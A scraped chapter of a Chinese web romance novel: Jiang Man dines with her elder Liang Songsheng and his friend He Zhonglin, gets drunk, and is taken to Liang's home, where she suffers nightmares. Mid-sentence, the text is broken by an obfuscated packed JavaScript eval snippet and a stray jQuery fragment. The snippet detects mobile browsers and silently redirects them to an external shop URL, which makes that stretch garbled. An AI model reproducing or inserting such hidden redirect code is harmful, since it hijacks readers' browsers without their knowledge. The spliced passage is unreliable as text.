文趣网 > 其他小说 > 屏澜山晚春 > 6. 06
    06

    因着梁颂声突然前来,姜满没能和新室友手挽手去食堂。她收拾完行李,简单地洗了个澡后,便出了寝室去寻他。

    槐安大学很大,从寝室到校门的岔路都有五六条,姜满的校园卡还没充值,坐不了了校车,只能靠两条腿,走了大半个小时,终于走到了学校东门。停下时,她后背起了一层薄薄的汗,感叹一句,澡白洗了。

    梁颂声的车就停在校门口,一辆黑色的迈巴赫,车身流畅,好看,但价格也昂贵。

    彼时夕阳正落幕,余晖染红了天,像浸透的油墨,勾勒出一副富贵的油彩画。

    梁颂声靠着车打电话。

    姜满的目光在他身上扫过。

    他穿一件酒红色缎面衬衫,解开了胸前两颗扣,露出了精致的锁骨。

    衣袖也往上挽着,露出一截白皙的手腕,活像浪荡的公子哥,与往日的成熟稳重大相径庭。

    姜满第一次见他这样打扮,不禁迟疑了一会儿,才敢认他。

    她走过去,第一眼就是看车的牌照,不是那张张扬的车牌,就是一张普通车牌,没入车流里,看一眼就会忘的那种。

    这会儿怎么低调了?

    梁颂声挂了电话,见她对车牌发呆,问道:“想什么?”

    姜满如实答:“这张车牌配不上梁总的身份。”

    “那什么才配得上?”他问。

    “连号的五个九。”

    梁颂声听罢一笑,“那辆车不常开的。”

    “那阿公为何开它来接我?”姜满有些疑惑。

    梁颂声解释道:“自然是为你撑场子,让他们晓得你背后也是有人护着的,可惜姜小姐不愿意,没到学校就下了车。”

    姜满抿了抿嘴,半玩笑半真心道:“梁先生知道的,槐安于我而言可不是好地方……”

    “不是好地方还来,不怕吗?”

    “怕什么?”她笑一笑,看向他,“不是有你在吗?”

    她挽上他的手,微微侧身仰视他,小女儿姿态:“师叔,你会护着我的对吧?”

    “没好处的事我可不做。”梁颂声逗她。

    姜满笑盈盈道:“有的。”

    音落,她往他骨骼分明的手腕上戴了一串乌黑油润的手串。

    “这是什么?”他看了看,“味道有点奇怪。”

    “中药手串。我亲手做的,有安神的功效。不过下水不能带,洗澡也不能带……”

    她罗列了一长串禁止事项,梁颂声听完后道了一句:“送了我一个祖宗?”

    “你要是想当祖宗一样的供着也没毛病,我不拦着你。”

    “你呀!”他捏了一下她的脸,“走啦。”

    “哦。”

    姜满坐上车,车子驶向繁华的长安街,CBD大楼耸入云端,危楼百尺,路上走的都是都市丽人,Chanel、Dior在她们手中皆可见。

    琼枝已经是超大规模的现代都市了,可见了槐安,她得承认,比不上。

    九月的风不算冷,可吹久了还是让人抖了抖身子。

    姜满合上车窗,揉了揉自己凉凉的脸颊,直视前方。

    到一处红绿灯时,姜满问:“师叔,你怎么知道我的航班信息?”

    梁颂声目不斜视答她:“你要去问问你的好爷爷了。”

    “嗯?”姜满不解。

    梁颂声停了车,等待绿灯,说起了这件事。

    自姜满订下机票,黎元任就给他发了消息,让他到时候派人去接,最好送去学校。

    梁颂声道一句知道了,却在她离开那日又收到黎元任的电话轰炸,听筒里,全是他一遍又一遍重复说:“要记得去接穗穗,槐安那么大,她初次来,万一迷路了怎么办?你一定要记得,别忘了。”

    梁颂声哪里还敢怠慢,立马让何鸿光早早跑机场拦着,就怕他们师门唯一的小侄女迷了路,或者被人拐跑了。

    姜满听完后,大笑,“难为你了。”

    梁颂声说:“你难为我的还少吗?”

    是不少。

    姜满想起以前的鸡飞狗跳,难得好心道:“我给您充话费?”

    梁颂声言:“我谢谢你。”

    音落,绿灯正好亮起,梁颂声接着开车,不一会儿,车子离开长安街,驶向了繁华大道,渐渐的,越走越偏,最后停在了一处胡同口。

    梁颂声解开安全带,让她下车,两人步行进胡同,停在一处宅院。

    姜满抬头看,门前两座石狮子,含着宝珠,神态活灵活现,栩栩如生,这等工艺,一看就是大师之作。

    她又看门框上挂着的牌匾,上用黑墨写三个大字,笔走龙蛇,功力深厚,必然不会出自普通人之手。

    姜满定睛看那三字,念道:“鸿雁府。”

    细细品味一番,又言:“好名字。人生美食被绮衣,不及鸿雁能高飞。”

    音落,从远处传来一道咳嗽声,姜满看过去,一身形消瘦的男子立于门庭。

    他穿白衣黑裤,像个才出社会不久的男大学生。

    只是皮肤忒白了一点,像涂了一层厚厚的白粉,瞧不出一点血色。

    适合演鬼。

    脸妆都不用画,直接可以出境。

    大半夜绝对能随机吓死一人。

    梁颂声带她上阶梯,站定后,介绍道:“这处的老板,贺仲霖。”

    贺仲霖笑着唤了梁颂声一声三哥,视线落在姜满身上——

    她像秋海棠。

    一帘花色写秋容。低映碧窗红。胭脂冷落,似颦无语,欲笑还慵。

    这是贺仲霖对姜满的第一印象。

    纵使时隔多年后提起来,他还会说一句,她像秋海棠。

    “三哥?”姜满的注意力落在了贺仲霖这一声称呼上。

    据她所知,梁颂声上头只有一个姐姐。

    莫非是……

    “你爹在外头有私生子吗?”

    她语出惊人,贺仲霖先是没反应过来,明白了,憋不住直笑,梁颂声也是又气又笑,最后实在忍不了,敲了一下她的额头。

    “胡说什么?”

    姜满有些委屈,瞥了一眼贺仲霖:“他叫你三哥的。”

    “那是按大院子弟出生年龄排的。”

    “啊——,这样呀,”姜满面露羞愧之色,认错道,“是我错了。”

    “你呀……”梁颂声拿她没办法地摇摇头,下了一个批语,“语不惊人死不休。”

    姜满这时候到谦虚起来,笑道:“那还是比不上杜工部的。”

    贺仲霖又一声笑,朝梁颂声使眼色,“三哥既带了佳人来,不介绍一下?”

    “佳人?她可算不上佳人,顶多算个磨人精,”梁颂声低头看她,戏谑一般问她,“是吧,姜满?”

    姜满横了他一眼,如果目光可以刀人,他早死了几百回了。

    贺仲霖抓住了关键词,“原是叫姜满呀!”

    他伸出手,“你好,姜小姐。”

    姜满握上去,礼貌地笑了笑。

    贺仲霖问:“你喜欢李梦阳?”

    李梦阳,明朝的文学家,字天赐,又字献吉,号空同子。

    姜满摇头:“不喜欢。”

    又道:“为什么这样问?”

    贺仲霖答:“刚才正好听你念那句‘人生美食被绮衣,不及鸿雁能高飞’。”

    姜满晓得了,解释道:“不过是恰巧想到了。”

    贺仲霖笑言:“那到是真凑巧了,我这鸿雁府三字,正好取自这诗。”

    她这话,让姜满看他的目光都带上了一丝怜悯。

    美食华服,都比不过鸿雁高飞。

    那时候的她以为眼前的公子哥只不过想摆脱家族的桎梏,才以诗明志,后来才知晓,他患有心脏病,自小就被人细心地看着,小心翼翼地呵护着,不得自由。

    贺仲霖带他们进去,姜满扫过里头的装潢,压抑的中式风格,比不上欧美风富丽堂皇,但胜在贵。

    屋顶横梁是黄花梨,墙上挂的是唐伯虎的画,鼎里燃的是有“一两黄金”之称的沉香……还有那数不胜数的小件,都是明清时期的古董。

    纵使姜满从小到大瞧过不少好东西,却也被这鸿雁府里的摆设震了一下,感叹一句——

    声色犬马公子哥。

    “瞧什么呢?”见她久不言语,梁颂声问。

    姜满收了目光,答:“瞧你们槐安的公子哥活得有多贵气。”

    梁颂声明白了,笑道:“姜小姐又何曾不是生于荣华?”

    姜满不认:“哪比得上师叔你呀!”

    他们今晚吃粤菜,贺仲霖这个老板亲自为他们上菜,可想而知梁颂声的面子有多大。

    菜上完后,姜满邀他一同落座,贺仲霖看一眼梁颂声,笑拒:“三哥请你这佳人吃饭,我坐着像怎么回事。”

    梁颂声不开口,姜满也不强求,他走后,对面人忽然问:“看上了?”

    姜满初初没懂他的意思,略想了一番,顿时涨红了脸,支支吾吾道:“你说什么话,不过是礼貌罢了!”

    梁颂声觉着她红脸的样子有趣,又逗道:“真是这样吗?”

    姜满气道:“当真,当真。”

    梁颂声还不肯放过她,继续拿她取笑,最后姜满生气了,梁颂声只能哄,哄了好大一阵,又舍了砸了一笔钱买翡翠才将人哄好。

    姜满仍是气呼呼一张脸,梁颂声抿着嘴笑个不停。

    一顿饭吃完天以入夜,知了在树梢叫个没完没了。

    姜满喝了桂花酿,脸颊浮现两处酡红,好似抹了胭脂的古时贵女。

    她撑着头,嘀咕:“师叔,好吵呀!”

    梁颂声合上窗,说道:“入秋后就不会有了。”

    “那还得好长时间呢!”

    她说完这句,头猛地坠了下去,梁颂声眼疾手快为她撑着,另一只手晃了晃酒瓶子,听不出响,已经见底,他这才晓得她醉了。

    梁颂声看着枕在他手心睡得酣畅的醉鬼,叹了一口气。

    说她是磨人精她还不认,这不,又来磨人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912837|213199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。

    明明喝之前就叮嘱过她桂花酿后劲儿大,要少喝,结果还是不听话。

    “唉——”他又叹一声气,认命将她抱起,往外走。

    贺仲霖亲自送他到门口,瞧一眼他怀中的人儿,玩笑道:“三哥,下次,我是不是该改口叫三嫂了?”

    梁颂声当即斥道:“胡说些什么。”

    贺仲霖从未见他这般正色过,心头一颤,赶忙道歉:“是我说错话了,三哥莫生气。”

    梁颂声低头看一眼怀中人,冷着一张脸言:“今日事,不外传。”

    贺仲霖保证:“我一字不言。”

    梁颂声将人带上车,贺仲霖站在阶梯上等车走远了,才进去。

    槐安大学十一点闭寝,如今时间尚早,但梁颂声却没办法将她送进学校。

    四人寝,又在三楼,他一个男士总不好进,若是单人寝室就好办了,可惜她不要。

    无奈,梁颂声只能把她往自己家带。

    他从车后拿了一床薄毯盖在姜满身上,启动了车,开往屏澜山,平日一小时的路程,今夜足足开了一个半小时。

    下车时,姜满迷迷糊糊睁了眼,看了看四周,视线落在一块牌匾上。

    上写两个大字——

    枕春。

    想来是梁颂声这住处的名字。

    枕春,枕春,枕春而眠,有些趣味,也有些情调。

    “怎么了?”梁颂声问。

    姜满摇头,无声言没什么,便又闭上了眼眸,睡了过去。

    梁颂声将车钥匙交给管事老张,抱着人回屋。

    屋里做事的人见了他,都退了下去。

    他上二楼,踢开了一处房间的门。

    刚把人放下,盖上被子,正准备走,却听见一阵痛苦的嘤咛。

    回头看,姜满紧紧握着自己的衣领,额上积攒一层汗,筋脉可见。

    又是梦魇了。

    梁颂声快步走过去,将人抱在怀里,拍着她的背,哄着。

    这次却没那么管用,姜满难受得缩成一团,梁颂声大声叫她,叫不醒,见她用手抓自己,他一把抓住,可还是晚了一步,白皙的脖颈上已经起了一道红痕,触目惊心。

    梁颂声没办法,只能拿用被子把她的手捂住,一声又一声喊她,折腾到了半夜,人静了下来,他也松了口气。

    正想将人放床上离开时,姜满忽然醒了,迷蒙着一双眼,泛着晶莹的水光,有着一点委屈道:“师叔,那三年你为何从不联系我呀?”

    梁颂声一愣。

    恍恍惚惚想起三年前。

    姜满常梦魇,他害怕出事,就睡在她门外,时刻听着动静。

    短时这样也还好说,可时间久了,也不方便。

    于是梁颂声请了一众医学专家们上门为她瞧是怎么一回事。

    专家们做了个详细的检查,一致得出结论,她这个是心病,治不了,得自己好才行。

    自己好?

    他看一眼姜满了无神彩的眼,就晓得,她自己好不了。

    本就爱做梦的人,又逢亲人离去,一个十五岁的女孩,心智尚不算成熟,怎么可能好得了?

    梁颂声没办法之际想起他起师兄说她命浅,顿时起了个念头。

    科学的办法不行,那就用不科学的办法。

    他心一横,冒着风险,带她去见了一奇人。

    奇人要了她的生辰八字,卜了一卦,还是一个答案,治不了,命浅的人,就是容易被缠住,梦魇不休。

    不过,奇人还是给了个办法——

    若是有命硬的克着,她或许能好。

    命硬的……?

    他在哪里去找命硬的,又是怎么个克法呀?

    那人掐指算了算,看了他一眼,又算了算,找准时机开口言:“您就命硬,能克她的梦魇。”

    梁颂声扭头看闷着一张脸的姜满,还是没有办法可以治好她。

    他虽命硬,却也不可能带她一辈子。

    但姜满却对他产生了依赖,以至于某段时间,流言四起。

    之后,他开始有意无意避着姜满,甚至任期满后,回槐安,断了与她一切联系。

    “师叔,你怎么不说话?”姜满眼巴巴看着他。

    梁颂声弯下腰,把她露在外头的手放在被子里,说道:“你知道的,我是大忙人。”

    姜满“哦”了一声,打了一个哈气,合上了眼眸,睡了过去。

    梁颂声关了灯,退出房间,全无睡意。

    他去楼下,拿起茶案上放的烟,取了一根出来,点燃火,抽了一口。

    枕春依山而建,透过门,就能看到山的影子。

    此时月出东墙,山笼罩在朦胧中,梁颂声在烟雾缭绕中看月,脑海里浮现出温庭筠的《梦江南》——

    山月不知心底事,水风空落眼前花。

    他掐了烟,贺仲霖的戏言蓦的在耳畔回响。

    这一刻,他总算明白了何鸿光曾对他的提醒——

    她已过了小孩年龄。